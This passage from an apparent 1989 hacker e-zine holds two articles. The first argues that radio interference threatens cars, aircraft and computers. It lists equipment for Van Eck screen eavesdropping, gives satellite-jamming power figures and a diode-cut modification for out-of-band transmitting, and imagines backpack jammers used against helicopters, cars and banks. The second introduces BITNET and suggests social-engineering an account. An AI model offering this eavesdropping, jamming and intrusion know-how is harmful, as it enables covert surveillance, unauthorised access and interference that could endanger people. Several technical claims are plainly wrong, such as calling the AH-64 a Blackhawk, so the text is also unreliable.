"out". It was and still is considered an insurance policy by most who have this technology and is widespread in its use. Now over time, with the continued expansion of these radios, the truckers began to switch to marine band radios in the 10 meter band and were conversing just as before. Since the 10 meter band would permit such radios and the increased power output, the switch to 10 meters was only a matter of time. Now, it is reported that most truckers are using and abusing such frequencies and their is little that can be done to stop such occurances from happening. To add to all of the mess, such radios have the ability to switch operating frequencies with the touch of a button. In brief, the 10 meter radios can switch to the 11 meter (CB) band with minor modifcations. And back and forth frequency hopping is as easy as tuning in the average auto radio. One other interesting aspect of these 10 and 11 meter radios and their use of 10 meter amplifiers, is the problem of interference generated by the amplifiers due to the lack RF chokes and filters for the simple reason that the unit is designed for use on the 10, meter band, not the 11 meter band and thats what the chokes and filters look for, 10 meters, nothing more, nothing less! Enter the common travelling person with a late model vehicle. Most vehicles today have some form of directed artifical intelliengence working under the hood. The "brain" controls any number of common operations ranging from air / fuel mixtures to how and when braking systems will perform. Microprocessors in todays cars are as common as seatbelts and are now required to assist in normal operations of said vehicles. And this is where the problem begins. Since the auto must have such control circuitry to function, then the possible interference of such operations becomes a real threat. But what sort of threat could be possible with a car, its control systems and a high powered transmitting radio? Well, if one was to examine the idea of overriding or shuting down said operations, the car would cease to function in any proper manner. Such a shutdown could very easily cause fatal accidents and the cause would be un-known due to all "looking" fine in any aftermath examination. Now we add to the scene, your common average trucker with such a radio in his poccession and the ability to transmit high powered signals as one chosses. One example of such high power hijinks would be the specfic targeting of autos on the highway with a points / scoring system based on performance, price, make and if the car was built in the U.S. or not. What would be the outcome? To answer, it would be the shutdown of of the cars electronic logical systems causing other systems on-board to do likewise in successive order. How can this come about? Well the answer is quite clear, the high powered signal causes the logical centers to conflict or ignore basic operational commands from the microprocessor in turn causing the microprocessor to close down, then cause a halt to basic actions and the car stops running. Other known occuring incidents that have had some humerous and fatal results have been reported in the past years by the press. Examples are: 1. As early as the mid-seventies, Volkswagen developed a computer controlled fuel injection valve control system. The car worked perfectly in Europe, but had some unexplained engine failures in the united states. The problem of engine failure was intermintent and very short lived when happening. The alleged cause of such failures were the transmission of Citizens Band radio frequencies from either mobile or base stations near by and causing an induced current sufficent to cause a malfuncition. of two meter radios and the electronic control systems. Other cars are reported to have some problems with cellular phones. Reports from England even indicate such problems occuring in a wide spectrum of autos in the area around Daventry due to RFI from the transmitter used by Radio Four, a commerical station transmitting on 1500 meters along with local AM and FM broadcasts. It seems that the station base was using a very high wattage transmitter and that when the transmitter was transmitting, the cars that passed close to the station would sometimes shutdown the engine causing minor overall problems and some angry motorists. If you look at this problem, you may see possible small scale urban electronic warfare possibilities. Two such areas might include the use of directed radio energy against late model autos by law enforcement or worse, by terroristic factions seeking to do the same thing. And one more example of such reports concern the sudden acceleration problems with some imported cars in the U.S. An interesting point to mention is that HONDA is offering owners of the 1988 Civic a replacement chip because of such reported problems. 3. On the lighter side of the problem, it was reported in the November 24th, 1987 edition of the Baltimore Sun, that some residents of Frederick, MD were having problems with the use of their electronic garage door openers. Owners of such devices returned them to places of purchase and found that the units worked perfectly. It was noted that nearby, the U.S. Army operates a major communications center for both domestic and international traffic. An Army spokesman stated that they are not radiating anything that should lock up the garage door recievers. It is also reported that when the Army turned off certain transmitters, the garage door openers would work again. While the Army stated that they were not the problem, the "problem" did disappear as stated by the Army. You be the judge on this! On the fatal side of this problem, incidents were more deadly than funny. Although the cause of such incidents was all not due to an "Alligator" radio, but it was caused by the same type of over poowered raidiated radio emmissions. The cause was high wattage again and was to effect a new type of attack helicopter in use by 2 different U.S. armed services. The helicopter, known as the AH-64, Blackhawk or the naval version named Seahawk is considered, operational state of the art in low level air combat situations and is highly electronic in its basic make-up and operations. The problem was two fold in nature and both were to contribute in the final discovery. The first cause was due to the need of the design to employ a unique horizontal stabilizer to help the helicopter improve it fly-ability. The stabilizer was controlled through a series of electronically activated hydraulic systems run through a microprocessor that in turn was controlled from the cockpit through a series of other logical and electronic relay systems. There was no physical connection between the crafts flight controls and the pilot of the craft. What is meant, is that the fly by wire method was replaced by a set of relays and hydralic attenuators instead of cables and pulleys. It may not a been as smooth as the electronic flight, but it took an explosive charge to bring the control to a dead stick and at the same time could be fixed with a pair of wire cutters and clamps instead of a soldering iron and electronic parts. The second problem, being more unknown and deadly, consisted of radio frequency interferance stemming from a number of different sources. One such source was found as a common citizens band radio with major illegal power output. Another incident of the same type of nature was discovered when one of the helicopters flew to close to a commerical radio stations transmissions towers. Both times the flight ended in fatalities for the crews. It was discovered that strong radio was the cause. According to published reports, 5 UH-60 Blackhawks have nosedived into the ground killing 22 serviceman since 1982. And the U.S. Army instructed it's pilots that flights near microwave antennas or shipboard radar may cause "uncommanded" altitude changes. In English, it translates to crashing into the ground at 600 miles per hour! So, this basic simple problem was not thought of as one that was possible even with the current concerns of systems management in the now fully electronicisied battlefield. So, the first problem was that the controls of the craft are being directed by impulses instead of physical controls. The second was the use of un-protected electronics from both background and now, potential directed uses of radio frequency energy as weapons of warfare or even better, as stated before limited urban actions. So now we take the approach of normal radio environment and place an active thought to possible options no available to a direct force. If reports of these natures are known to the general public, then what is to stop the directed force from becomming a new invisible tactic that can cause major disruptions of computer / communications systems currently in use. Lets take the current state of electronic protective measure in force and used by the different defense agencies throughout the country. First off, we have the problem of large Electro-Magnetic Pulses, (EMP's) being able to disrupt command and communications links with the use of one nuclear device detoneated at a unknown range above the continential united states. Another example comes from outside theoretical research concerning the SDI programs. One thought, from Thedore B. Taylor, a retired nuclear weapons designer and father of the largest yield fission bomb, the S.O.B., was quoted in an interview published in September, 1987. He stated that if you explode a one-kiloton device in space and directed the energy into a 3 centimeter beam of radiation, you could deposit enough energy to wipe out electronic and electrical equipment - computers, antennas, power lines, over an area larger that Washington, D.C. He was also quoted as saying that microwave weapons are more than likely being developed too. Now weapons of this nature are on a very large scale and require vast amounts of energy too start with. But in a directed small beam aimed at normal general construction type buildings, a directed beam of energy cuts through walls, doors, and windows as if they were not even there. Your example is some of the local television or radio stations in your area. If you look at all or most of the stations, you might find a small shack atop of their building. It may contain the microwave dishes for the studio to transmitter links. The glass and wood are nothing to the in-comming or out-going signals. Brick walls mean nothing to a radio signal either. Just tune in your desk radio and listen to your favorite station. So this pulse would be able to short out almost all commerical electrical, telecommunications, computer operations, and any other devices that contain transistors or semiconductors for a circuit path. These basic examples show what such types damage that these emmisionns may pose. The second part of this problem is with the protection of such circutry. Great amounts of technology protection comes in the form of deep trenches, standard and special grounding of buildings and equipment, cable and support runways, and concrete encasements. Now this is all wonderful and good from a military viewpoint where money is no object, but in the real world, the use of such protective measures is not possible even for the most prestigieous of corporations. Now if such large pulses can destroy equipment on a global scale. Then the idea of using such forces becomes a better local tool for the destruction of security and measures taken to protect such devices and facilities from a physical standpoint. Ok now we know that the possibility of directed energy may be used to disrupt the communications and operations of logical devices. There are numerous ways to use such technology to gather and alter electronic impulses. Another group of examples comes closer to the common man and is happening all to frequently to the owner / operators of mass communications systems. Best know, is the interruption of signals from a Home Box Office satellite and the insertion of a message that stated its subscripton rate was to high. That one incident struck fear in the hearts of the communications industry and showed that anything was fair game. Other actions placed against commerical stations include the interception and signal override of 2 television stations in the Chicago area. One such action was placed against a Public Broadcasting station and the other was directed to one of the "Super Stations" in the same area. The first pirate transmission lasted 15 seconds and the second, two hours later, lasted 90 seconds. The Pirate, dressed in a Max Headroom facemask, uttered some statement, although garbled and during the second incident, bent over and exposed his / her rear and was struck on the behind with a fly swatter to the shock of the viewers. Of course the FBI and FCC were called in to investigate, but investigations of this sort led to nothing more than an empty trail. Now to perform such deeds, one would have to contact either the station or the local office of the FCC to find out what the transmit and studio to transmitter frequencies are. (And this goes for any transmitter registered with the FCC. They will supply the name and location, frequency, and the maximum legal output of such sites.) There are two frequencies used for each television channel. One for the Audio and the other for the Video, or the other option, to listen or watch the station until it sign's off for the day (night). This one method does not lead to possible discovery and the frequencies are given at sign-on and sign-off. A good example of such frequencies is with a station located in Philadelphia, Pa. The station, WPVI, transmits its audio signal on commerical FM frequencies. The frequency is 87.8 Mhz. Now anyone with a good transmitter could add anything to the signal and no one would be the wiser until they did. Examples of such transmitters and persons capable of doing this type of transmission is best described by the incident in the summer of 1987 concerning Radio New York. This radio station was considered a "pirate" station and the federal goverment decided to move in and shut them down. An interesting note to all of this, was that the station was located on a ship anchored off the coast of New York outside US boundarys. Still the US goverment with agents of the FBI, FCC, Customs and the Coast Guard boarded the vessel, closed down the station, arrested the persons on-board and the ship was taken in tow. End of that particular story. On the other hand, two other stories of interest deal with the possible and real way some may be able to jam or possibly damage state of the art satellite communications. The first dealt with a group who call themselves the American Technocratic Association based in Wilmington, Delaware. This groups thought revolve around the scrambeling issue in use by the pay TV companies. The background of the members of this group claim to have a good working knowwledge of military radar communications systems. The group claims to have the capability to jam a satellite with a few mobile systems it has. One operation that the group hopes to undertake was called "Operation Sunspot". The group claims to have areas mapped out that have no treaty, regulation or statute dealing with the jamming of a geo-stationary satellite. The one problem with all of this is that such a thing could happen very easily. Now there are some who say that such things could not happen, but if one is to look in a number of magazines for such information on frequencies or locations, you could find it. So you say to yourself that you want to try this experiment. Well we will not supply exact details of such techniques, but will say that HAM radio operators have the ability to contact both American and Soviet repeater satellites and if you wanted to you could do the same thing. Now for your basic uplink to such systems, you would need a transmit dish and the power behind the signal. So for a ten foot dish, you would need 91 watts, a six foot dish, 280 watts. It may not be dirt cheap to generate high powered signals in the mid range of 1-10 Ghz, but it does not present a great techincal obstacle and surplus gear is so easy to obtain. You don't need large dishes with great amounts of power to do this. All that is needed is a moderate size dish, a few tens of watts at microwave frequencies, and Bingo! You've got an effective satellite jamming station! And then you have to address the issue of the telemetry channel. THey may not be able to overtake the signal, but if jam the signal with another, it may be possible to affect the operation, stability or orbit of the target. Frequencies for such channels are available from a number of sources and for as little as $2.50 per frequency. Now these examples and the reported stories dealing with television stations interuption's are fast becomming one of the most feared aspect of open air transmissions. Such transmitter frequencies are no longer the domain of commerical radio and television stations. Transmissions on any frequency are just a phone call away from suppliers who provide common or business radio transmission technology. So if satellite and television stations can be interupted by such forces, six million dollar helicopters are taken down because of CB radios, and automobiles cease to operate due to a wide spectrum of emmited signals, then the possibility to intercept and harvest vast amounts of knowledge is available to those who wish to gather such. Now to explain such basic interceptions are now commonplace with horrific results to those who do not believe that such things can happen. For a simplistic view of such emmited signals, take a standard "Walkman" type of radio and visit one of the many locations of ATM's or better known as "money machines". (This excerise may also be performed near any standard personal computer if such machines are not available.) and tune through the FM band. With careful tuning, one will be able to "hear" machine funcitions occuring. Taking basic simple electronics, one may have the ability to recieve and reconstruct such impulses to a readable form. Or an example of larger scale and better know, would be with the use of back-yard home satellite dishes. Dishes range from 6 to 12 feet wide. Signals available include music, sports, news, movies, stock and commodity trading quotes, weather, education and other such information services. In addition to these services, a number of different multi-site conference services are available from a host of major hotel chains as well as privatly organized meetings held for specfic time periods and dates. All may be tuned through the use of a dish and sensitive information that may not be available to someone, is then made available and no one is the wiser! Transponders are not private, and are rented out for only the time used. And one other thing that might bring you to your senses about such signals, is that the signals are transmitted by the satellite over a wide area to anyone who can recieve such signals. One other development is the small Micro-Sat by Norsat. This complete system offers both satellite bands coverage, Ku and C, a small dish and circuit board that fits inside an IBM PC. The unit downblocks 950 Mhz to 1.45 Ghz, offers a maximum baud rate of 9600 bps, frequency, bandwidth, video and audio selectable formats and may be connected to the VideoCipher II, B-Mac and Oak Orion descrambling systems. Some other such signal reconstruction devices are now also available through the mails. One such device is available in plan form from Don Britton Enterprises and is called the Re-Process Sync Amplifier. The device was developed to recieve signals emmanated from cable television systems. What the device does in essance, is to take a signal that "leaks" from cable tv systems and recieves such, adds a sync signal needed by the television set to display the recieved signals and then sends the signal to the antenna input of the set so that display may happen. Now if weak signal reception is available from leaking cable systems, then the ability to recieve weak signals from logical devices is also possible. Interception and Weapons Possibilities -------------------------------------- Think about possible interception points pertaining to logical security methods. Communications may be encrypted, data may be stored in an in-active form and access is only a matter of time while the interceptee is waiting for the dispersal. The next security concerned area covered would be for the encryption of the information in its stored and transmitted form. The encryption is all wonderful and good for the transmission and storage, but does nothing for the information as it is in its final stage to the human eyes! And you only have two ways to get it to the eyes, in hard copy or by a video screen. Now you think that interception is not possible since the information is encrypted, but the data must be decrypted so that the human connection may use the information. The human connection allows for the reception of said information by the afore mentioned devices and lets interception to happen through the clear or decryption points of the attacked devices. And one other point to mention; other possible effects of reception / transmission to security in general, could affect other controls ranging from building energy management to security access and monitoring controls. To give a better understanding of such equipment, we will discuss some of the devices known. One such device known as the Van Eck device and the other is called the Re-Process Sync Amplifier. Some may feel that there are two different systems involved in this discussion, but the author finds no major difference between the two, with the exception of the Van Eck device is built for operation on European voltages and has a built-in digital frequency meter. The one major difference found is with the dates of copyrights for the two devices. The Don Britton device is dated 1979, while the Van Eck unit is dated October,1985. Note: Another unit, with plans for such devices, are available from Consumertronics, located in Alamorgordo, New Mexico. Besides the plans for a Van Eck type reader, one book offers information in reference to computer crime and countermeasures, how systems are penetrated, BBS advice, Password defeats, TEMPEST, crosstalk amplifiers and a 200 word phreaking terms glossary. All for only $15.00 We will begin with a basic understanding of the inner workings of the device. The one other major basic difference with the two reader boxes is that the Van Eck box is designed for use with tv's and VDT's used in Europe as compared with the Britton box built for use in the United States. This device in general, is designed to restore and regenerate the sync and colorburst signals and ignores all information appearing during either the vertical or horizontal blanking. Its basic result is reconfigure through the use of supplying artifical external signals inputed directly to any video monitor through a simple 10-50 dollar modification of the TV or video monitor, or in simple english, takes a weak video signal and tries to shape or match it and then boost its output to a normal television screen. One other interesting thought comes to mind with the use of video tape copy protection methods. Since these methods use a means that makes it tough on the VCR not the TV from generating signals for tape duplication, there have been a number of devices that assist in the retoring and re-structure of the picture and sound. One device is known as the "Line Zapper". The device helps to adjust the brightness changes, vertical jumping and jittering, and video noise. It is available in kit or complete form. Pricing starts at $69.95 and complete tested units cost $124.95. Now if this unit can assist in the filtering and structuring of commerically induced weak signals, then it should be able to take a boosted signal presented to it and clean the picture to something of useable form. Some may see this only as a filter for video processing with a focal point on the actual copy-guard techniques, but such a device incorporated into the Van Eck type of gear should assist in the overall signal restructuring. Now one other interesting point about possible video signaling re-construction methods was addressed in a multi-part series published in Radio-Electronics based on the methodology used for the construction of video signals scrambeled by different vendors of cable and over-the air pay television. The series dealt with all aspects and methods of video and audio, (complete with discussions on the DES methods used for the VideoCipher units and the like,) used in commerical systems in use. One other thought comes to mind of an experimental nature. Since the screen of a computer is not always changing and for the most part stable in its display, why not take the recieved signal and digitize it! You could filter out signal noise clean up any true video signal present. This is no great techno-wonder, the basic gear could be put together with Radio Shack or the like types of equipment. And the cost is still most reasonable. If not available there, costs for home-brew gear would not be that high. The simple electronics blocks would consist of comparators, video detectors, data seperator gates, a to d - d to a converters, data amp and a signal level converter. Or the better version, might be a modified slow scan television system with error correction and clean-up circuits. Such units work over normal phone lines or standard radio channels and since the units can take signals from these two different types of inputs, there should be no problem in adapting the unit to accept a cleaned up analog signal from a digitizer. Away from the world of the experimental thoughts, we return to the point at hand.... Now there are two types of monitors used today. The first, called composite and the second using TTL logic to control the screen and its pattern. The composite screen is nothing more than a television set or Apple computer type of monitor. The construction of the picture is performed by a beam of electrons that are scanned across the screen at a rate of 525 lines per second. Since the majority of screens are of a composite nature ( this is even true in most IBM environments) the ability to recieve the signal is very possible from a radio emmission standpoint. The reception of such signals is not fairytales, but comes with reality attached through the use of simple electronics. The first part of the reception project is to have a method of signal acaquisition and amplifcation. Such gathering may be performed by the use of standard electronics store technology. For this example, we will use common Radio Shack electronics. The reason is due too the common variety electronics that are available to most persons needing such science to accomplish the required gathering. To start, since a base station is out of the question due to the weak signals one would have to recieve. So the need for transportable equipment is a must. Antenna, amplifier, sync process unit and display medium must be powered in the transit unit. Depending on budget and (BEL) (Basic Equipment List) requierments a fully battery operated set-up can be constructured for under ................ Our two systems described here will be different only in basic construction and budgetary BEL's. The "Radio Shack" Reader ------------------------ 1. The antenna could consist of a Radio Shack TV/FM # 15-1611 for 49.95 2. If needed, Radio Shack in-line signal amplifier 10 db gain # 15-1117 for 15.95 3. Radio Shack RF Video Modulator # 15-1273 for 26.95 4. The Britton or Van Eck unit (Cost unknown due to construction needs) 5. The tuning unit may consist different available FM,TV,UHF tuners available for the tuning of TV Sound & Picture reception and possible recording. Costs for such units range from 319.95 to 119.95 The 319.95 unit can operate on AC / DC, has audio / video input jacks and can operate on 9 "D" batteries. Other possible useable units would be # either # 16-109 or 16-111. The units cost 219.95 and the other 159.95 Both are able to tune in the full commerical AM / FM and VHF/UHF Television signals, The low end of the cost spectrum would be the RS # 16-113 at 119.95 This unit also has the same spectrum tuning abilities. The Gold Plated Unit -------------------- 1. The antenna could consist of a Radio Shack TV/FM # 15-1611 for 49.95 (Or due to the use of better reception electronics having built in antennas. But due to the need for amplified signals being inputed to the reciever we will still possibly use the RS amplified antennas.) a. It is also possible to use any number of amature radio antennas. For the purpose of maintaining a low profile, we will use one of the standard active recieving antennas that has a spectrum of reception from 50Mhz to 1 Ghz. Such units are available from mail order supply houses. 2. If still needed, Radio Shack in-line signal amplifier 10 db gain # 15-1117 for 15.95 It is also possible to use # 15-1105 Indoor FM Signal Booster with switchable 0,10 or 20 Db gain at a cost of 24.95. 3. Radio Shack RF Video Modulator # 15-1273 for 26.95 4. The Britton or Van Eck unit (Cost unknown due to construction needs) 5. Tuning units- The tuning units would consist of 2 seperate radio units. The units, both ICOM's have a combined tuning range of 100 Khz to 2 Ghz. a. Unit 1 (R-71a) tunes from 100 Khz to 30 Mhz. This unit is nothing more than a shortwave reciever with excellent signal reception and frequency stability that offers far better overall signal interception quality. The unit offers 1 Hz tuning and has digital frequency readout. As an option, this unit may be controlled by an IBM or compatable PC. Cost for this unit is $949.00 b. Unit 2 (R7000) covers 30 Mhz to 2 Ghz. This unit is a general coverage reciever with excellent signal reception and frequency stability that offers far better overall signal tuning and interception quality. Also this unit can be computer controlled through an IBM or compatiable. The unit offers .01 Hz tuning and has digital frequency readout. Additional abilities of the unit include signal output and a IF output of 10.7 Mhz with other frequencies available. The cost for the unit is $1099.99. This particular unit also has an option for the output of the video signal and connection of any standard video monitor for 130 dollars. For an additional 160 dollars the unit can have the ability to recieve signals from 20 Khz and go all the way to the specified 2 Ghz. The unit needed is called a Kuranishi FC-7000 frequency converter. With additional commerical television MDS tuning equipment, ranges can exceed 2.7 Ghz. Costs for this will range between 79 and 109 dollars. Since we will be mostly dealing in the lower ranges of frequencies, an added piece of gear may be used to gain the best signal reception points available. This is through the use a Radio Direction Finder available from American Electronics for 100 dollars. Now with all this equipment for both systems, another basic system with minumum cost is readilly available to many for under 100.00 dollars. This we speak,of is the common Black & White Television set available in mass quanties from any number of sources. It has been reported that such interception capabilities are possible and have occured without the interceptee knowing until the Communications Commission have contacted the source of the emmited signals. For example, some personal computers and their respective screen have been known to been picked up on the TV screens of their neighbors and through nothing more than rough or fine tuning the reception. The reason is due to the TV having the ability to automatically adjust the Sync signals to those close to the frequency of intercepted computer screens sync frequency. This "ability" is available through the use of a common manual type tuner on a standard Black & White set with a normal directional antenna and an standard antenna amplifier. All three devices in common life and attached to your own television recievers! You have such devices if you have an antenna on your roof or attached to your set. Most have attached signal amplification due to the ever growing background noise generated by normal commerical stations and reception charictersistic In simple term, the guy next door can read your screen and you don't know it. Now take the number of personal type computers in a standard corporate environment, caulculate the possible dollar figures of the combined information contained in these machines, and substantial sums become more evident than ever before. If business plans, formulas or patent-trade information, client lists, or any other type of valuable information and since that information will be called up at any time or current work performed is wanted in the surveillance gathering operation and then you have a completely wide open way of monitoring the daily practices and transactional actions with complete impunity and securty of such areas is completely unguarded due to the lack of knowledge. For experimental purposes, we will use very simplistic computer systems to give an idea of what may be possible. The equipment shall be basic, over the counter, cheap, electronic systems to gather and produce the signals we which to collect. The equipment list is as follows: 1. Franklin Ace 1200 (Apple II compatiable) a. Franklin Ace Serial / Paralell Card (Paralell card is in use for the 2 printers.) b. Apple Super Serial Card (RS-232) for use with the communications modem. 2. Franklin Video Monitor (40 or 80 characters display) 18 Mhz ( Standard IBM monitors radiate at 15 to 16 Mhz ) 3. Prometheus ProModem 1200 (External type) 4. Printers a. Okidata Microline 92 b. Epson MX-80 Our basic reception / interception equipment consists of: 1. Bearcat 250 (50 Channel) Scanner (Coverage from 32-50,146-148,148-174,420-450,450-470,470-512 Mhz) 2. Soundesign FM Stereo Tuner (86.5 Mhz to 109.5 Mhz) 3. Electrobrand AM-FM-SW-CB-TV-PB-AIR-Weather The AM and FM are standard commerical band recievers. SW is short-wave from 4 Mhz to 12 Mhz TV coverage is from audio channels 2 through 13 AIR band from 108 through 135 Mhz Public Band is 145 through 175 Mhz 4. A Gould OS 1100 A Osocilliscope 25 Mhz range Since we will not try to re-construct the actual video signal generated, as this has already been done, we will not have to explain what we recieve as a picture. What we will cover is the gross signal output of standard population computerized logical systems. In our observations, we have seen a wide spectrum of emmitted signals with a strong signal between 9.0 and 9.250 Mhz for the display of standard text scrolling by. Better signal display was found at the lower frequencies of 9 Mhz. Monitor frequencies were found in the area of 11 through 19.5 - 20 Mhz. Printer frequencies are in the range of 140 to 200 Mhz. Disk operations were detected in the ranges of 88 to 250 Mhz. Overall frequency generation was from 4 through 500 Mhz. The modem was found between 28 and 300 Mhz. All in all, this easy discovery of radiated or transmitted signals by means of common radio technology could lead to. An interesting thought comes up with the use of some common ham transcievers for such operations, and with simple, easy modifications, some can transmit on all frequencies from 1.6 t 30 Mhz. Such a transmitter would be the Kenwood 440. This transciever offers 100 watt output and as stated all frequency transmit. To perform the small modification, all one would have to do is cut one lead to a diode (Diode D 80) and as an added bonus for better frequency readout, you gain an additional readout of 10 Hz by snipping the lead to Diode 66. So the unit covers the range of IBM PC frequencys in use and all of the Apple systems too. Thats says it all! It can offer the possibility for disruption of internal signals used to process information and the possibility of causing other logic related systems to act or not without reason. For example, would it be possible for the Soviets to sit under cover with a modified Kenwood 440 100 watt radio or better yet, a Radio Shack 40 channel AM / SSB and a 100 watt Firebird linear amplifier and a simple small antenna to disperse the signal. So the problem of the 6 million dollar helicopter comes down to a wholesale cost of 150.00 ( 190.00 to 200.00 for an average rip-stop nylon camping backpack unit ) per man with a recommended dispersal of 3 manpacks per unit into the theater. Suspected effective ranging up to 3 miles per man pack unit is suggested. Or even better, if such things were possible against military aircraft or normal commerical real world autos, then directed intent should be of now problem against civilian targets such as computer installations, bank and operations support structures, possible override of security systems and any other systems that may be affected by such forces. Other uses of directed energy may be used in law enforcement situations for the apperhension of suspected persons in late model automobiles. If the truckers are using the radios for game playing, then why can't the police have the same type of device for the stopping of autos? There are a number of devices that will radiate such energies over the spectrum. One such device would be the Radar Speed Gun Calibrator (or better know as a radar jammer) for use with calibration of speed guns or for the deceiving of police radar units. The plans for such units were (are) available for a number of sources. One such source, is Philips Instrument Company or another such source was the Radio-Electronics issue in the spring or summer of 1987 with plans for the Radar Speed Gun Calibrator, that would allow you to transmit a signal that would equal the same type of reflected signal from an automobile traveling at the supposed testing speed. Range's of speed signal output would equal 5 mph to well over 100 mph. Some plans or kits come with instructions for the combination of radar jammer units with most commonly available auto radar detector units. In simple terms, the radar detector unit detects a signal and through its display or attention getting circuitry in turn activates the radar jamming equipment to deceive or jam the police transmitter / reciever units. Best know of such combinations, were the use of Escort radar detectors and jammer units with transmission horns mounted behind the front grill of autos. No ifs, ands, or buts, they work! One other piece of equipment that may have devastating effects on overall security and support systems, deals with the generation of very high energy pulses that might be classified as being able to generate EMP's that could damage almost any piece of electronic gear. The claim from the designer is that this device can generate a pulse with an effective range of multi-millions of watts. The device on average will produce a pulse equal to 400,00 wats in a testing mode with the multi-million outputs available with full charging of the capacitor banks peaked. Also stated in this book is the ability of the unit to produce a very large inductance in near by electronic gear. Most interesting! And the only statement in this book about the device and it's short comming, has to deal with the in-ability of the device to produce sufficent output used in certain nuclear experiments. I wonder what that means? So, in closing, the capability of these units is well within the range of any person with the intent comes closer to home than ever before. The equipment is nothing of major technical wonderment, just a few simple block circuits put together to each other so that they work together to do the final requested product. And all of the described gear or plans may be in the hands of everyday persons even if they don't know it! And while most do not have such knowledge about how such systems may be used to corrupt other systems, or even how the average telephone or toaster may work, they will still state that such described technology is not possible, and open the door to major disaster due to complete ignorance to the problem. In closing, to steal a phrase from someone else, "The truth shall set you free (or may keep you from being over exposed from free form energy)! "Click!" And the last words spoken by the corporate DP offical were... " Thats impossible! You could never do that to my operation!" Ahem, Sure sir, Sure! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #9 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= An introduction to BITNET ------------------------- By Aristotle Jan 17, 1989 About BITNET: Because It's Time NET (BITNET) is the largest of the acedemic computer networks and one of the largest mainframe networks. BITNET connects hundreds of thousands of students and professors in Asia, Europe, Middle East, and North America. In 1988, BITNET had nearly 2000 computer systems at higher institutions connected to it. BITNET may not allow you to log onto mainframes, BUT it IS an invaluable source of information. While on BITNET, you can access certain services such as chat relays, file servers, electronic mail service, and info servers. (See below for more info) A little semi-technical info: The mainframes on BITNET are connected via constantly operating telephone lines or satellite links. Unlike packet-switching networks (ie. Telenet), BITNET is a store and forward network. That means that if you send a message from Florida to Kentucky, the computers in the network between Florida and Kentucky will store and forward it from each computer to computer until it reaches Kentucky. In BITNET there's only one path from Kentucky to Florida. Each computer is called a NODE. Below is an illustration of how a small section of the network would look like. A----B----C | | | D----E----F----G | | | H I----J ---K Example A. A message traveling from A to H would travel the following path: A-D-H Example B. A message traveling from A to F could travel one of two ways. These are: A-B-C-F or A-D-E-F Sometimes when a node is down, the message may be delayed or routed through different nodes as in example B. The time to transfer messages can vary from just a few seconds to an hour. This cause for this is usually one (or both) of two reasons. The first factor is the size of the message. Larger amounts of data take longer times to transmit. The second factor is the status of the network. As we all know, computers are prone to breaking down. Messages that cannot be routed past the downed node are stored in the net until there is a clear path to it's destination. Addresses: Each of the mainframes(NODE) on BITNET has it's own individual address. The addresses are usually an abbreviation of the name of the institution that supports the mainframe. One example is the University of Massachusettes "UMASS". The indiviuals that have access to BITNET also have their own addresses. These addresses are assigned to the user when he/she first sends information over BITNET. The entire address for a user is set up as follows: University of Kentucky Prime--+ | @ (AT)----------------------+ | | | User ID-------------------+ | | | | | | | | | | | | | | | | | $108@UKPR Note: Not all addresses give indication of the type of system. Also: On some machines, the BITNET ID will be different from the system ID. Ex. CS.DEPT.SMITH.J@UKPR is also $108@UKPR. Access: It is IMPOSSIBLE to access BITNET unless you can gain access to one of the nodes. That means, there are NO dial-ups that do not go through a mainframe. BITNET is supported by the institutions that have access to it and it is your right as a student to have access. It is NOT your right to access the mainframe though. A good way to gain access to BITNET is to go to your local university and ask or engineer an account for the use of BITNET. Uses: There are three basic methods of communicating via BITNET: mail, message, and file. Each method has it's own advantages and disadvantages. The interactive message (Let's just call it a message) is the fastest and most convenient method of transitting short amounts of information over BITNET. Messages are composed of one line of information that is sent VERY quickly to it's destination. You would use the message when chatting with someone at a different node. The bad part about messages is that if a node is down, your message is lost. You WILL recieve an error message though. Messages are usually sent via the TELL and SEND commands. Below are examples of the syntax for sending a message on the VM/CMS and Prime systems: TELL userid@node message or TELL 151133@DOLUNI1 Hey Terra, How are the guys at CCC doing? Mail: Electronic mail is the most versatile method of communication on BITNET. Unlike the message, a letter will be stored if a node is down. A letter can be from one word of text to however long you want it. It has been suggested to me to NOT transmit any mail over 3000 lines long (hmmm, maybe we should explore that one.) The actual file that is transmitted is really nothing more than a formatted text file with a header. When you send mail from you system, You will be prompted to input a subject so the header can include the sending address, recieving address, date, and subject. A piece of mail would look like this: Date: Fri, 13 Jan 89 18:26:12 EDT From: Terra <151133> Subject: Greetings To: $108@UKPR + ============================================================= + Hello Aristotle | | Regarding the information that I have been recieving | directed to a member of the | Chaos Computer Club....... rest of text Files: The file is the best way to send large amounts of information over BITNET. As with mail, files are stored until you read them or in the case of node being down, until they are back up. Any type of file can be sent via a file. They can be either text or binary. On a VM/CMS system, one would use the SHIP command to send a file over BITNET. Below is an example: SHIP filename filetype userid@node or SHIP phun3 txt $108@UKPR I suggest that you check your online help for information on sending info over BITNET. Now for the phun part.... FILE SERVERS, CHAT RELAYS, AND SERVICES: Servers are machines set up as automated databases for the distribution of various information. Servers respond to commands via mail or message. Not all use accept this type of communication. It all depends on the type of software the server is running. One would send a message to a server in the following syntax: TELL userid@node command or Tell listserve@bitnic help File servers are like servers but they are set up as databases that transmit files. They are kinda like BBS's. The best way to get started with a file server is to send it the help command. A good place to start is the Listserv@Bitnic system. It will send you all the information you will need to get started. Name servers have two functions. The first is to locate a person's address on BITNET and the second is to help you find people on BITNET with similar interests. (Hmmm, a hacker directory?) I suggest starting with the name server at Drew University. To find a particular person, just send the following to Drew: TELL NAMESERV@DREW SEARCH/NAME john doe If the person you are looking for is not registered, you will recieve a message informing you of that. To register yourself, send the following to Drew: TELL NAMESERV@DREW REGISTER first last interests or TELL NAMESERV@DREW REGISTER John Doe LMOS hacking A chat relay is set up to allow many users to chat with each other without having everyone sending messages to each other individually. When on a relay, the people on your channel (be it public or private) will all see the messages that you send to them. This is GREAT for phreaker conferences (Though it is NOT secure due to system operators) and just chatting with your friends over LONG distances. Geee and it is all legal too! To find out more about relays, just send the following: TELL RELAY@UTCVM help If your local relay is not UTCVM, you will receive a message tell you that and also your correct relay. Well, that's it for this file. If you have any questions about BITNET, you can contact me at the following boards: Hacker's Den 718-358-9209 The Outlet Private 313-261-6141 Newuser/Kenwood 